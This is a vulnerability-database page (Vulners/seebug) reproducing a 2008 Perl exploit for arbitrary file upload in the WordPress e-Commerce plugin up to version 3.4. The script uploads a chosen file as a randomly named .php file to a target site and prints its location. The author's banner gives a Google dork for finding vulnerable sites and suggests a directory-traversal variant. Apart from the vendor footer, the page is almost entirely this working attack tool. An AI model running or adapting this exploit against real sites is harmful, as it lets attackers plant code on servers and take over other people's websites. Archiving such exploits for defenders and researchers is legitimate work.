Lucene search
K

Wordpress Plugin e-Commerce <= 3.4 - Arbitrary File Upload Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

Wordpress Plugin e-Commerce Arbitrary File Upload Exploi

Code

                                                #!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

my $fname = rand(99999) . &#34;.php&#34;; # no int()

print &#60;&#60;INTRO; # messy print i know..
- Wordpress Plugin e-Commerce &#60;= 3.4 Arbitrary File Upload -
            Discovered && Coded by: t0pP8uZz
            Discovered on: 20 October 2008
  
  Theres no current vulnerabilitys for this plugin, but the
  vulnerability explained here no longer exists in the later
  versions of the plugin, due to a code rewrite.
  
  In testing this vulnerability, i wrote a scraping content
  program, and found ALOT of vulnerable sites.
  
  This exploit will upload a selected file to the...
  ... /wp-content/plugins/wp-shopping-cart/ directory.
  
  If the directory is not writable (rare cases) you can
  mod this exploit and use the insecure GET variable
  &#34;imagedir&#34; to directory traversal.. so you can upload
  in diffrent directorys.
  
  Contact: irc.rizon.net #sectalk
  
  Dork: inurl:&#34;/wp-content/plugins/wp-shopping-cart/&#34;

INTRO

print &#34;\nEnter URL(ie: http://site.com/mambo): &#34;;
    chomp(my $url=&#60;STDIN&#62;);
    
print &#34;\nEnter File Path(path to local file to upload): &#34;;
    chomp(my $file=&#60;STDIN&#62;);
    
my $ua = LWP::UserAgent-&#62;new;
my $re = $ua-&#62;request(POST $url . &#39;/wp-content/plugins/wp-shopping-cart/image_processing.php&#39;,
                      Content_Type =&#62; &#39;form-data&#39;,
                      Content      =&#62; [ Submit =&#62; &#34;Add&#34;, image =&#62; [ $file, $fname, Content_Type =&#62; &#39;plain/text&#39; ], ] );

die &#34;Exploit Failed: HTTP POST Failed!&#34; unless $re-&#62;is_success;

if($re-&#62;content =~ /Fatal error/i) { 
    print &#34;Complete! To see if exploit was successfull visit the following URL for your uploaded file.\n&#34;;
    print &#34;Uploaded File: &#34; . $url . &#34;/wp-content/plugins/wp-shopping-cart/&#34; . $fname . &#34;\n&#34;;
} else
{
    print &#34;Exploit Failed! Target host not vulnerable!\n&#34;;
}
exit;

# milw0rm.com [2008-10-29]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation